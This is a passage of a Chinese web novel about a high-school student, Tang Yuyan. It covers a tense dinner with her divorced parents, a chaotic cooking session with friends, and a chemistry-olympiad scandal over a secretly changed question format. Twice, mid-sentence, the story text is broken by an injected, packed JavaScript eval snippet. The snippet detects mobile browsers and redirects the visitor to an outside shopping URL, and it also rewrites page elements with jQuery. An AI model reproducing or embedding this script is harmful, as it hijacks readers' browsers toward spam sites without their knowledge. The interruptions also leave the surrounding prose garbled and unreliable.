对方勾好订单,欠了欠身便转身走向前台,桌上三人不知为何突然陷入了沉默。 为缓解尴尬,唐瑜嫣站起身,伸手去够斜对角的茶壶,打算为三人烫碗,没想到竟被她的母亲抢先一步,先手捞到了这个服务众人的机会。 见状,她无奈地叹了口气,只好拍了拍裤子,灰溜溜地坐回原位。 毫不夸张地说,从点完菜到上菜这一整个期间,餐桌之上一片死寂,谁也不知道该怎么挑起话题。 最后还是唐国诚试图打破尴尬,讪讪地问了一句:“考得怎么样,能进复赛吗?” 好绝望的开头,一听就没有想聊下去的欲望…… 面对这类最常见的问题,唐瑜嫣立马给出了一个模棱两可却绝对标准的答复——“不确定但可能性很大”。 这没营养的车轱辘话“嘎巴”一下又把天聊死了。 一时间,席间只剩下火锅咕嘟咕嘟的声响。直到服务员端着盘子过来,拿起筷子帮他们涮肥牛时,沉默许久的林焕淑才仿佛不经意地开了口:“那个,嫣嫣?你觉得小宋这人怎么样?” “……还挺好的,热情开朗,乐于助人。”唐瑜嫣愣了愣,下意识地给他发了一张好人卡,“是个好学长。” 她边说边用筷子将先前随着锅底煮开的牛肉丸戳穿,确认它是实心的之后,才放心地夹起往嘴里塞,补充道:“我是经他邀请才去参加化学竞赛的。” “怪不得,我就说嫣嫣怎么突然转赛道了。”听到这,唐国辉终于露出一副恍然大悟的表情,“吓死爸爸了,我当时还以为你被黄毛小子忽悠了。” “某种意义上,确实是被忽悠的,只是这黄毛小子不是很黄毛。”唐瑜嫣在心里默默吐槽。 唐国辉摸摸鼻尖,接着有些不好意思地表示:“嫣嫣,就是,过几天,你要是知道自己能进复赛了,记得和爸爸妈妈说啊,爸爸妈妈继续来看你。” “还得要谢谢小宋,要不是他昨晚及时提醒,我们今天就错过了。” “还有,高考也是,妈妈也想捧一束花,穿着大红旗袍,风风光光地送你进考场。” 说完,林焕淑又接回先前的话往下,“妈妈也觉得小宋看起来不错,很体贴。但我听周围人说,他是个富二代?附中校长家的小公子?” 唐瑜嫣这下听出不对劲了,刚开始还可以说是在借宋飞珑的名儿来缓解尴尬,这都绕了一圈了,怎么还把他捞回来?她该不会是看到什么或是听到什么奇怪的东西了吧。 唐瑜嫣斟酌片刻,试图开口解释:“妈,他家里确实挺有钱的,但他这人性格和其他富二代不大一样,我俩也只是朋友。” “不仅如此,我们还有另外两个好朋友。我们平时四个人一起玩。” “你把他当朋友,他可不一定。”林焕淑的嘴角染上几分笑意,笑里带着几分了然,“我们家嫣嫣呀,也快满十八岁了呢。” “就是,你不了解男人,我还不了解吗!”唐父眼角皱纹微叠,言语间也挤出一个充满祝福的微笑,“而且就算他是个富二代,我的宝贝女儿也不比他差!” 听到这些直截了当的调侃与抒情,唐瑜嫣一时间仿佛吃辣椒上脸,面上能接触到空气的皮肤全红了。 她抿抿唇,试图用三言两语糊弄过去,“哪有的事,你们不要想太多了……” “有男孩子喜欢又不丢人。”林焕淑为她舀了一大勺虾滑,温柔地说:“就是希望啊,我们小唐永远不要吃爱情上的苦,妈妈永远为你撑腰。” “唉……我什么都不怕,就怕你们像爸爸妈妈一样,成了淹没在鸡毛蒜皮的梁祝。” “怎么还打击孩子信心呢。”唐国辉小声嘀咕,但并没有反对这个观点。 说到底,他和林焕淑还始终认为,他们当时各退了一步,将最初最诚挚的爱意的封存完好,也成全了彼此的最后的自由体面,唯一对不起的只有他们的女儿。 以至于现在三人围聚一堂,本该谈论天伦之事,结果却总感鼻子不是鼻子、眼睛不是眼睛,吃得好不尴尬。 “又到这个环节了吗……” 唐瑜嫣轻轻叹了一口气,她就知道会是这样。每次一但谈及这个话题,他们俩都是这股丧气的样子,所以她才一直不想和他们吃饭,她受不了他们混杂了太多愧疚的爱。 ——在她眼里,爱,不该这么沉重深刻复杂,重到压地所有人都喘不过气。 “算了,总要面对的,今天一次性说清楚吧。”唐瑜嫣擦干被辣油绽到殷红的嘴唇,不知从心底的哪个角落鼓起一番勇气,让她得以压出一道平和的声线。 “爸,妈,你们不用这么愧疚。” “我过得很好,非常好,我独特的成长路径造就了我,我的心理始终健康。我认为,生于自由的环境远比陷进日常的争吵幸福。” “你们已经给了我很多爱,我从未质疑过我是否被爱意注视包裹,我也始终拥有被爱着的底气。” “爸,妈,你们已经很称职了。同时,我也希望你们能听到我唯一的诉求,让我们下次见面变得轻松一些,好吗?” “话说小唐,你昨天跟你爸妈聊得怎么样?”宋飞珑边操纵着小人切牛肉,边装作不经意地偏头看她。 一听这话,唐瑜嫣的身体便下意识地应激。手腕一抖,蒸好的面粉和鱼全进垃圾桶了。 她尴尬地做了一大堆小动作,故作平静地压低声音:“还成吧,算是达成共识了……宋飞珑,我的家庭也没那么支离破碎。” “那就好。”宋飞珑露出一副如释重负的表情,他温柔地揉揉唐瑜嫣的脑袋,“家人没有隔夜仇啊!” “没那么严重,仇更算不上。”唐瑜嫣立马补充解释。 “好好好,那既然这样…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406506|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们对我的第一印象怎么样?有没有给你丢脸?”宋飞珑如沐春风般扬起唇角。 谁知孔雀的尾羽尚未亮全,那道平静的声音突然高了好几个度,如惊雷乍现般向他的左耳道突飞猛进。 “宋飞珑,你那着火了!你快去拿灭火器!” 他还没来得及回应,右侧又传来另一个急切的声音,“不行,来不及了……我们下把还是准备一些预制菜吧!” 疯狂/操作着手柄的段辰快他好几个身位,抢先举起了灭火器,哐哐当当一路狂奔,试图力挽狂澜——倒计时结束,他们遗憾败北。 唐瑜嫣和段辰同时吐了一口气,转身对中间的二百五怒目而视:“玩游戏就认真一点啊!” “错了,真的错了!我诚心悔改!”宋飞珑立马举手投降保证。 由于数竞开考的时间可谓是晚上加晚,他们都要放完假,准备备战复赛了,展妙那头才堪堪开考。 已经升为倒霉研究生的宋飞珑又远不及有着落的大四生自由。 他顶着导师嫌弃又鄙夷的目光,拼了老命才啃出两天的假期。但他实在等不到展妙上考场,只好先拉着这两个已经考完试的到他家里玩Switch。 段辰用力搓了几把脸,待情绪稍微稳定后,才再次摁下“重新开始”。 “宋哥,你是不是过两天就要走了?那我们下个月复赛你来不来?”说着他又向唐瑜嫣那头扔了好几袋面粉。 “请得到假就来,这么自信自己一定能进复赛啊。”深刻反思后,宋飞珑的动作比上把利落多了,刀起刀落刀光剑影。 “做一晚上噩梦了,等成绩太焦灼了。”段辰百忙之中给他展示了下黑眼圈,“幸好出来放松,不然我还得再想一整天,昨天稍微对了下答案,感觉没出什么大错。” “我觉得进复赛应该没问题……但我好像听说,有学校初赛压对了好多题,不会复赛也……” 唐瑜嫣突然想起了昨天竞赛群里的新闻,手上操作顿了顿,稳住了差点又进垃圾桶的餐盘。她有些不确定地分享:“他们还说今年复赛的题型要大改。” “对对对,我也看见了。但不可能吧……哪有临期才通知改题的,至少要到下一届吧。” 这话立马引起了段辰的共鸣,他点头附和,声音里不自觉地带了些焦虑,“那人家知道内幕的不是随便秒杀我们啊。” “也不用那么焦虑,既来之则安之。你们复习的时候多写点创新题吧,万一真考到也不至于抓瞎。” 宋飞珑温声安慰,他已经脱离竞赛好几年,家里关系网也覆盖不到这一块儿,得到的消息甚至比他们还少,也给不出什么有建设性的建议。 谈话间,菜单上面的倒计时突然清零,紧接着欢腾的音乐奏响,三颗象征着胜利的星星蹦蹦跳跳,粉墨登场。 听见这象征胜利的背景音,唐瑜嫣将手柄往沙发上一甩,揉揉发酸的手腕,将整个身子陷在靠垫上,懒洋洋地建议:“咱们换个能互殴的游戏吗?这合作游戏晃得我眼花。” “想揍我直说,pvp难道就不眼花了?” 宋飞珑静悄悄地将手柄放在她的旁边配对,脸上挂着无可挑剔的温柔笑容。 “啊,被你发现了。那算了,偷鸡摸狗地阴你一下才有意思,光明正大地就没意思了。”唐瑜嫣依旧一本正经地宣传她的歪门邪道,“那再换个乐子,你提议吧。” “哎呀……既然这样,不如我们去给展女侠送温暖吧。烧一桌子菜,让她晚上加餐。”宋飞珑灵机一动,灵感如大运般创飞了眼前两人。 58. 第 58 章 分手厨房 “咱们连赛博厨房都玩不明白,还想着去做菜?别逗我笑了好吗!”仿佛听到什么天方夜谭,唐瑜嫣立马哼笑出声,“别祸害准考生了。到时候一对比,反倒把食堂菜品衬托成珍馐美味了。” “我平时有空也会炒俩菜的好吗!我们大学二课有美食选修。啧,多说无益,我真要给你们露一手了!” 面对某人无端的诽谤,宋飞珑飞身冲向厨房,将冰箱里的冻肉库库往外掏,灶台旁眨眼间便出现了一大堆食物,包括且不限于牛排和多种海鲜。 身在敌营,拿人手短,纵使唐瑜嫣和段辰心有千万个不情愿,还是捏着鼻子走到了他身后,抄起一把青菜往水里涮洗。 “你这堆肉还新鲜吗?你都回学校半个月了吧。”唐瑜嫣拧开水龙头,张口就是质疑。 她本人平时在家也会做几个菜,倒不至于十指不沾阳春水,对着萝卜喊西瓜,一些厨房的基本知识还是有的。 不过鉴于她一直处于所谓“一人吃饱,全家不饿”的生活状态,平时也没什么机会磨练厨艺,烧个小排就算大菜,再精细的也做不出来了。 “我叫阿姨今早送来的好吗!”宋飞珑试图为自己正名,“不会让你们吃到僵尸唐僧肉,光速得道飞升的。” 他一边喊冤叫屈,一边将装牛排的包装撕开,让肉类先解冻,随即又泡了一盆盐水。 做完这一切后,他抬起头,用目光巡视了一周——他的两位帮厨虽然嘴上功夫不减,但的确也在兢兢业业地打工。 对此,他满意地点点头,刚想招呼他们将手边的花甲递过来,一声惊叫便冲天而起。 “我去!宋哥!宋哥……你这螃蟹怎么诈尸了,我手好像被钳子夹了!”段辰猛地跳开几步,指着水池里的盆子哆哆嗦嗦,“你们都离我远点,我已经被丧尸病毒感染了!” 这都什么跟什么啊?此人反应太过激烈,反倒惊到了他身边的唐瑜嫣。 后者下意识地将一手的青菜往他身上招呼,边挥边喊:“驱驱邪,驱驱邪!妖魔鬼怪快走开,妈咪吧啦哄!”这股喷涌而出的神秘的东方力量糊了他一脸水。 段辰眼前视线受阻,连着后退了好几步,“哐当”一下撞到了宋飞珑身上,把宋飞珑撞了个趔趄。 宋飞珑手上还拿着准备用来切姜的刀,被他这么一撞,刀尖差点就往自己手上招呼。 他赶紧撒手放刀,转身去扶一直往他身上蛄蛹的段辰。一不小心,又把灶台上的鸡蛋扫到了地上,随即段辰立马一脚踩上了它的残骸,彻底滑倒在地。 见丧尸危机解除,唐瑜嫣这才放下手中的青菜。这把圣剑已在刚刚的大战中破损,叶子零零散散飞了一整屋,菜根也凄惨地断成了好几段。 “劳驾,两位厨房杀手,我们新中国没有怪力乱神。”宋飞珑一把将坐了一屁股蛋液的“丧尸兄”扶起,又将自己头上的菜叶抖落。 “我就想问一句,有没有一种可能,早上买来的蟹还暂时还没来得及失去自己的生命呢?” “哈哈……这样吗,我以为蟹一被捞起来就死了呢……”段辰富有智慧地挠挠头,顺着对方给的力道站起来。 “我知道,我之前看到它们在动了。我是被段辰吓到了。”唐瑜嫣尴尬地拿起筐子,准备去捡飘落各地的菜叶孙子,然后被宋飞珑及时抬手拦下,又被附赠了一把扫把。 “算了算了不要了,那边还有一把。你把它们扫到一起,我让阿姨拿回去喂鸡,”他语速飞快地排兵布阵。 “还有小段,你先去洗个澡,换身衣服,身上的这套扔框里,我待会儿给你拿套新的。” 自知制造祸事和引大祸端的两人眼观鼻鼻观心,低低“哦”了一声后,难得如此听话地跟着他的指令走,着力于灾后重建。 待一切补救工作完成后,分针又快转了小半圈,桌上的肉也快解冻完了。 此时段辰尚未清洗干净,厨房里只剩唐瑜嫣和宋飞珑两人。有了刚才的教训,两人活动的空间相差了十万八千里,主打一个谁也别想吓唬谁。 宋飞珑依旧在和他的牛排斗智斗勇。用纸吸压完牛排里的血水后,他又分别在肉的两面倒上胡椒和油,打算先腌个三五分钟。 为了节省时间,争取让展妙在正点吃上晚饭。等待牛肉组织发生化学变化的间隙,宋飞珑又拿起旁边尚未碰到姜块的刀,动作利落地在蘑菇顶上划叉。 “你居然真会炒菜?富二代这么全能的吗?”目睹完他的流畅操作,唐瑜嫣很是惊讶,一时嘴快,心底的质疑又溜了出来。 说完她就颇为尴尬地撇开头,暗自懊恼怎么又跟他杠上了,算了算了,专心做菜吧。 唐瑜嫣已然是经过了一番深度思考,最终决定为展妙烧一手她唯一擅长的糖醋小排,至少味道还算可口,足以展现自己的心意。 她上下打量了会儿富二代家里的集成灶,发现与自家的并无二致,于是甚是熟练地伸手拧向点火开关。 在天然气的作用下,眼前的灶火应声而起。 眼见水分即将烧干,唐瑜嫣眼疾手快地拿起油勺。一勺热油下锅,刺啦一声,为滚烫的铁锅镀上了一层油膜。 直到这时,宋飞珑恍然且兴奋的声音才缓缓从她身后响起。 “哼哼!看不出来吧!我会的可多了!心理、美食、金融、种地,我都会,包括且不限于吧!” 此人注意力一直集中在刚下锅的那块牛排上,过了好一会儿才反应过来唐瑜嫣竟然在夸他,喜悦顿时冲昏了大脑,高兴得王婆卖瓜,自卖自夸。 他飘飘乎地眯上眼睛,“以前在我们大学宿舍,每个人手里都有一个锅,每到周末就自己下厨。但是小锅是违章电器,你不要学我们哈!” 携带违章电器你还这么理直气壮,唐瑜嫣心中诽谤,没好气地甩着锅铲,“放心,我一定好的不学学坏的!” “小唐你呀!”宋飞珑将锅里那块牛排翻面,滚烫的热油在其表层滋滋作响,激发出扑鼻的肉香味,“一定要记得观察你们宿舍的烟雾报……我靠,少侠,留步!” 话音尚未落全,一阵龙卷风于顷刻之间从他的侧面呼啸而来,那股不祥的预感如野火般春风燎原。宋飞珑连忙遏制住段辰的冲锋,“慢点慢点慢点!锅里还有货,你用不着赶趟儿地被煎!” “哦哦哦……哎,那宋哥,你说,除了当备用食材外,还有什么更合适我的工种吗。” 电光火石间,段辰脚跟一顿,身体立转720度,宽大的风衣下摆立马划了个满弧。他迅速扶墙站稳,如江湖大侠般拱手虚心求教。 宋飞珑瞟了他一眼,顿时有些无语,这倒霉孩子!自己借给他风衣不是让他穿进厨房的! 他掐了掐人中,没好气地推销:“有啊,僵王螃蟹的玩伴 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“过誉,只擅长这个。”唐瑜嫣都快被她的赞美声撑饱了,面上还是一副风轻云淡的高人之色,“哦,那几个海鲜也是我炒的。” “好的,那我要三天吃一顿,一顿饱三天了!”展妙在唐瑜嫣指的那几个食盒里各夹了一点,又用不同的手法与角度各自夸赞了一番,哄得唐瑜嫣彻底飘飘欲仙。 “我的呢,我的就配不上些美语吗!这些食材还是我提供的呢!”宋飞珑晃动勺子敲碗,试图引起大家的注意力。 “哪来的乞丐,敲着碗讨饭!一边儿去!”见他难得吃瘪,唐瑜嫣高兴坏了,眉眼生动地冷嘲热讽。 “心碎了宝贝。”宋飞珑使劲从眼角挤出几滴眼泪,“劳动了半天还被如此埋汰。” “没事,宋哥,我吃,我吃一半了!”段辰报复性地狂拆螃蟹腿,他的碗边已然是出现了一个歪七扭八的小山。 他信誓旦旦地说:“宋哥,我一定不让你的心落到地上!今天这不可能有剩菜剩饭!你就看好了!” “谁才是今天的主角?你怎么吃得比准考生还多,再要点脸呢?”见眼前这一桌菜莫名其妙地少了三分之一,展妙突然坐不住了,这已经不是有没有剩菜的事了! 她举起筷子施展轻功,俨然是跟段辰打起了擂,非要在“谁的胃里塞的食物多”这一方面竟个高下。 面对如此盛况,两位厨子简直是高兴坏了,直接握手言和、既往不咎,不仅不劝架,还笑呵呵地当上了评委,选了个最不费脖子的角度观赛,还不时往他们碗里添油加醋。 “目前为止,小展比小段多吃了一个龙虾,请小段再接……什么,小段竟然还藏了一堆花甲壳在碗后,这波是智取吗?不对,小展也有后手,她吃完了半碗排骨!” 宋飞珑激情地解说,手里还不忘给观众同僚剥虾,“比赛进入白热化,据场上情况分析,红蓝双方看起来都快饱了。” “观众朋友们,让我听到你们的声音,你们觉得谁还藏有后手,谁又会是最后的赢家!选红的扣1,选蓝的扣2。三、二、一!大家一起扣出心中的数字!” “展妙同学好像快撑不住了,这么看来,段辰同学的赢面……什么,你们怎么还随身携带健胃消食片啊!” “公平竞技啊!两位!”宋飞珑呜呼哀哉。 59. 第 59 章 “很遗憾地通知大家,在刚刚进行的食神争霸赛中,由于参赛双方都服用了组委会禁止的违禁药物,成绩均以作废论处。” 看着这俩即将从进口比试到出口的倒霉孩子,宋飞珑连忙怀着沉痛的心情宣布,“食神称号……” “啧,好了,姐让给他了!”展妙揉揉肚子,潇洒地转身挥手,“姐要回去复习了。” “谁要你让,我实至名归好吗,不服下次再战。”段辰压着闷嗝放狠话,“我不允许有任何人质疑我吃饭的能力!” “啧,谁要和你再比一次,要不是这桌菜是小唐和老宋亲手做的,我才不吃这么多。” 展妙向他翻了个白眼,“行了,滚回去吧,抓紧时间休息。等过两天你们复赛成绩出了,有的是机会回来当牛马。” 话糙理不糙,但最先滚回去的牛马还是宋飞珑。 在他人造假期的最后一天,他的导师和师兄就开始绝命连环call,非得让他按时回去参加本周的组会,仿佛缺他一个他们实验室就要停摆了一般。 但宋飞珑心态良好,你push你的,我非得放完我的假。并且还对所有有关实验室的消息通通回了一篇小作文,内容如下: 各位领导老师与师兄师姐,我明白大家对我学业未来的担心,因此在回程的路上,我也做出了属于我的研究生三年规划。 我将于研一扎实学好专业课程,尽快进入课题组,熟悉实验与文献,打好科研基础;研二专注课题研究,努力产出成果,锻炼科研能力与综合素养,培养外语能力;研三全力完成毕业论文,同时明确就业或深造方向,做好求职或升学准备。 我将在这三年脚踏实地,稳步成长,不负时光。 此消息一发,没两分钟就震惊了实验室的各级牛马,不少师兄师姐开始嘀嘀咕咕。 “我去,这学弟是不是疯了。”一个没穿实验服但带着护目镜显得十分滑稽的学长惊讶地表示。 跟他搭伙一块儿盯秒表的学姐倒神色自然,不以为然地说:“宋飞珑你不认识?本科就来我们实验室搞大创了,早就有点学术成果了,写这玩意来忽悠人的。” “别担心他了,你这实验要是再没点进展,这周组会又得在一堆学弟面前低头装孙子。” 伴随着宋飞珑的离去,唐瑜嫣和段辰的初赛成绩也被及时公布。毫无意外,两人都进了复赛。 化竞的初赛和复赛黏得很紧,大概就在两个月后。 “小唐,我的眼皮怎么跳得那么快,我怎么觉得近期要有倒霉的事发生了呢?”越靠近考试,段辰越是相信些怪力乱神的事,今儿说眼皮跳,明儿说腿抽筋,身体没有一个部件是不抽疯的。 “是福不是祸,是祸躲不过。放宽心,天气预报都不准,心理预报又能准到哪去?”唐瑜嫣试图举例安慰他。 她本人倒比初赛前夕轻松许些,毕竟进了复赛,上大学是有着落了,现在也就是个荣誉和头衔问题,心理压力直线下降。 没想到听完她的安慰,段辰竟表现得更加激动,其崩溃地表示:“可是关节炎比天气预报准多了啊!” “不至于吧……这也就是个个例,样本数量不足,不具有说服力。”唐瑜嫣此时还不以为意。 “我真服了!段辰这个乌鸦嘴,早不显灵晚不显灵,非要在复赛上一语成谶!” 如今坐在考场上,唐瑜嫣烦躁地薅了几把头发,眼前的复试试卷上赫然是一堆充满了鬼画符的新题型,包括且不限于一堆写满了ai预测分子结构的阅读材料题。 “一群疯子,真敢在正赛上直接改题型。”她手腕一抖,水性笔受力后,丝滑却无用地在她手上转了一圈。 她灰头土脸地圈画着关键词,“模拟生物分子、集成化制造流程、支持向量机……这都是什么人言鬼语。” 头顶风扇的嘎吱声愈发刺耳,周围同学的喷嚏更是绵延不断。唐瑜嫣头一回这么清晰地感受到什么叫天公不作美,什么叫人倒霉起来,喝凉水都塞牙缝。 因此人们常说遗憾才是人生的主旋律,失败才会让你记得更久。 ——简直是一通狗屁,硬凑金句强说愁。 唐瑜嫣就不喜欢遗憾,也不喜欢失败,她可以不去追求,但不接受因为这种原因失去,禅让和逼宫明显是两码事。 所以她拼尽全力,想尽办法让自己忘记这是她的复赛,放平心态去阅读附在最前端的长篇大论。 可惜,到最后,获奖名单上,她的名字后面,依旧还是,全国银奖。 那年国赛的结果在所有人意料之外,无论哪一个学科,金牌和银牌几乎只出自某几所学校,明眼人都能看出里面多得是猫腻,但又敢怒不敢言。 直到记者去采访一位金牌得主,问他们的复习与考试技巧。 那人刚刚还在叼着金牌拍照,意气风发的狂妄劲尚未散尽。 听到这个问题,他颇为自然地反问:“啊,因为我们知道要改题型啊。没有人跟你们说吗?” 记者愣了愣,差点忘记自己的专业素养,讽刺地话脱口而出:“可是同学,这不是作弊吗?” 那同学立刻发觉自己言语有些不当,有些尴尬地解释道:“不是不是,给我们这几所学校联培的教授和组委会的教授是同门,我们很早就听说了,不过只说了改题型,没透具体的题。” 可即使是这样,也足够引起众怒,不在同一起跑线的考试怎么配称得上公平。 报道一经发出,群情激愤。大批学生向竞赛组委会对几名相关教授发起投诉,还有不少人将检举信递给了最顶头的领导。 上边立马连夜加班彻查了这件事,可最终给出的答复却跌破大家眼镜——“没有问题。” “近期,学科竞赛作弊问题引爆全网,不少学生与家长对竞赛组委会提出举报。据相关人士了解,涉事教授给出了以下解释。” “以化学竞赛为例,他们表示,首先,他们早已发布大纲,明确了考试范围,即包括最新学术成果,考生未能复习到,是考生自己在知识上仍有漏洞。” “——还能什么意思,这帮王八蛋在嘲笑你们呢。你说最新的学术成果浩如烟海?那没办法,你得跟上时代的步伐。”有好事之徒抠着拼音儿逐帧解读。 “第二,题型的名字尚未修改,分值没有变化,设问方式没变,只有考察的方向发生了改变,不能称作无故改题型。” “即以前的材料题是给出经典工艺流程,让学生依靠已有知识填写,如今的材料题为给出最新科研方法,依靠阅读理解,填 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406508|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写有关问题。” “——啊对对对,方法都给你们了!只不过是半夜题干配上四页参考论文而已~我又没少给什么,读不读得懂是你们的问题,读不读得完也是你们的问题。” 某涂着猩色口红的博主翘着兰花指蛮横一瞪,气音千回百转,白眼分分明明。 “第三,本次变动有助于高校创新性人才的选取,反对传统题海战术。” “——那还说啥了,还不明白吗?某些人的心肝是偷偷藏不住了。” “——目的给了,参考文献给了,特定服务对象给了,奖牌当然也给了,说来说去你们是给呗!” “——安得广厦千万间,大庇天下寒士俱欢颜。世风日下啊世风日下,诸位寒门子弟,这个哑巴亏,你们吃定了!” 相关报道铺天盖地地在网上蔓延,只要手机一开屏,官方的,非官方的,空穴来风的,说家里有亲戚在内部,没文化装有文化的,过十分钟删的,一大堆追热点的自由新闻人竞相发声。 ——他们都认为,这绝对是一次出题事故。 当然,不是的话也没关系,等反转呗,还能再吃一波流量。 这些旁观者们姿态公允、高谈阔论,反倒是亲历此事的人全都熄了声。 一把不知名的钝刀顺着肠道划入他们的胃腔,五脏六腑因此晃得混乱,脊背因此而弯曲,与之相生的意气也散了个彻底。 段辰成日枯坐在竞赛教室内,手机不看,班主任的消息不回,连唐瑜嫣和展妙拉他去吃饭的邀请都不理不睬。 “段辰,过几天就是各高校的自主招生了,你总不能……”唐瑜嫣欲言又止,“你总得走出去。” “你要是看不上保送的专业,就去看强基的通知,要是错过了谁都帮不了你……我过几天…可能也要回去学高考了……”展妙无精打采。 “我走不出来,小唐,我走不出来……”像是绝了好几天水后连吞了几块干噎酸奶,段辰的声音沙哑又粗粝,“我天赋不如你们,费尽心血努力了这么久,最后一次模拟考总算稳定在金牌行列了,可为什么会是这个结果!” “我一直记得,考试那天早上,我妈给我塞了两个包子,跟我说,无论如何,我都是全家的骄傲。” “然后走到考场,天气很热,十一月了还要开风扇,扇叶很吵,吵得我看不进题。题目好长,光理解就要半个小时……” “我想,没关系,大家都做不出来,人人平等。啊,人人平等!” “可是为什么,这些找关系的人,全部踩到了我头上?因为我家穷,没钱也没权吗?” “我也……不知道,”他的呐喊平静又激烈,如此震耳欲聋,险些让唐瑜嫣站都站不稳。 她垂下眼眸,轻轻呢喃,“是啊,为什么呢?我也想知道。” 她说服不了段辰,因为她也身在其中,他们谁也跳不出这个怪圈。 终于,在自主招生的前一个晚上,宋飞珑回来了。 他硬是靠软磨硬泡,将马屁吹成了七彩祥云,才从导师指缝间扣出两天假,然后连夜搭乘最近的一班航班赶回铁山。 他一下飞机,便冲进了竞赛部,入室抢劫般连拖带拽,耗尽毕生口舌功夫,终于把这三个沉默不语的少年摁在了烧烤店。 60. 第 60 章 “既然考完了,成绩也不错,假期也来了,咱们干一杯?”宋飞珑举起手中的冰红茶,偏着头微笑,试图调动饭桌上的气氛,“顺便比完上次比到一半的食神大赛?” 可惜对面三人没有一个愿意给他面子,面对眼前一桌的美食,蔫不拉几又垂头丧气,看起来谁都没一点胃口。 “唉,比什么比,姐在乎这点破荣誉吗,姐早就让出去了!”展妙赌气般撑着头,“唉,油腻荤腥,唉,真倒胃口!” “唉!我也吃不下,又没个金牌,有什么好庆祝的,唉!”段辰更是大脑被丧神夺舍,开口先断半口气。 宋飞珑戳了老半天,好不容易得到点反应,还是如此这般启唉转唉承唉合唉。 唉来唉去,连瞟都不瞟他一眼。于是他也无可奈何地“唉”了一声。 好在坐他对面的唐瑜嫣还有些为数不多的良心,见他的手一直僵持在半空,拿起杯子主动和他撞了撞。随后将他的手压回桌面,又一口气闷完了自己手上的琥珀色液体。 “真奇怪,是不是无良商家掺了些苦瓜,怎么喝起来涩涩的……”咽下嘴里的液体,唐瑜嫣疑惑地想,“怎么还有啪嗒啪嗒的声音,越落越快了。是屋檐漏雨吗,还是空调外机漏水……哦,原来是我哭了啊。” 如此,她放下杯子,茫然地摸了摸自己的脸颊——啊,好滑,大概是眼泪。 可她明明没那么难过啊,她拿到了保送的名额,也完成了最初的目标,她不像段辰和展妙那般为金牌赋魅。 可是为什么,她在哭,停不下来地哭,不应该啊……保送就好了,保送就好了啊! 她抄起手边的纸,想要擦干脸上的泪珠,谁知纸上的水圈越晕越大,却还是止不住。她又换了一张,擦,扔,擦,扔……如此循环往复。 比起她的悄无声息,展妙和段辰的反应就大了许多。有了可以倾诉情绪的长辈,被压在心底的委屈如泉水般喷涌,以眼睛为闸门,大片泄着洪。 前者哗啦啦地抽了一大把纸,狠狠地擤了几个鼻涕,眼睛瞪得又大又红。可能平素骄傲洒脱的人哭起来,确实更为揪心。 后者灌酒一般灌了大半瓶冰红茶,将空瓶往桌上重重一撂,带着厚重的鼻音,将小唐未给出答案的问题又甩给了宋飞珑:“宋哥,我就想问一句,他凭什么啊!这公平吗!” “就凭他是领导,他有资格管理下层,他说风就是风,说雨就是雨。”他浑身上下爆发出从未释放过的戾气,“作为食物链的底端,我们并没有话语权?” “那为什么我们不去举报他们?举报他们收钱,举报裙带关系,举报公私不分,举报他们偏心……” 大滴大滴的泪珠从段辰的眼眶里涌出,止不住似的,落到他手上的肉串上,浸入到密密麻麻交错纵横的组织里,又被他恶狠狠地啃下,虎狼般吞入腹中。 “宋哥,我们做不到,但你可以,你们家那么有钱,一定………” “小段,你先冷静些。”宋飞珑摇摇头,拍了拍他的肩膀,声音落到他的耳朵里,平静又残忍,“官方报道早就出来了,不知道你们看到没有……” “……在此之后,我也重新找人了解了情况。” “可事实就是,他们并没有收钱,也没有直系亲属参与考试,谈不上裙带,更扯不上腐败。唯一有的,或许只是阴差阳错,混杂着半点偏心。” “怎么可能……谁信啊!那人都说了……!那么多人也说了!官方在骗我!宋哥你也在骗我!” 段辰哽咽出声,一把甩开唐瑜嫣给他递纸的手,反驳的语序愈发混乱,“傻子都不信……” “小段,可是给他们上课的教授从来都没说过自己是从出题同行那里听来的题目,是学生自己脑补猜想的。” “这个猜想九真里掺一假,起因经过结果在流言中囫囵补全,你传我我传你,绕了一大圈,几个人莫名对上了暗号,假的也就成了真的。” “那小孩儿嘴上又没把门儿,半生不熟的事儿也敢往外吹。给几个见风使舵的记者有意掐头去尾,再乱七八糟解读一番。出题教授一下被推到了风口浪尖。” 宋飞珑一遍一遍地耐心解释。 “可是小段,出题教授从命题到开考一直处于完全封闭的状态,直到考试开始才被放出来,所以泄题根本就是没影儿的事。” “那些给他们补课的教授之所以能提前知道复赛改革方向,是因为每年竞赛题都要找大学生试做来测试难度。” “而今年这批试做的学生,全都来自他们实验室。所以只要是和他同一个实验室的教授,都有可能接触到,仅此而已。” “而且,新题型的试卷得到了那帮大学生的一致认可,因为其筛选率可完美达标。” 他的声音低垂,很怜悯,很讽刺,夹杂着淡淡的悲伤。 “所以,你的意思是,这只是一个巧合?”唐瑜嫣猛地抬起头,“我们撞上改革是巧合,题型被泄是巧合,有人正巧请到了那几个教授,也是巧合?” “不,最后一个不是。因为那几所学校的校长,找关系摸到了出题教授的名单,是故意请同一实验室的教授来培训的。所以他们已经被革职了。” 宋飞珑越说越觉得不忍,扪心自问,连他自己也分不清,究竟是相信黑幕更残忍,还是知晓真相更残忍。 “那……” “所有相关学校人员全被记过,相关教授被罚五年不许出题,各高校宣布增加保送名额。” “所以,你们并未错过更好的明天。” 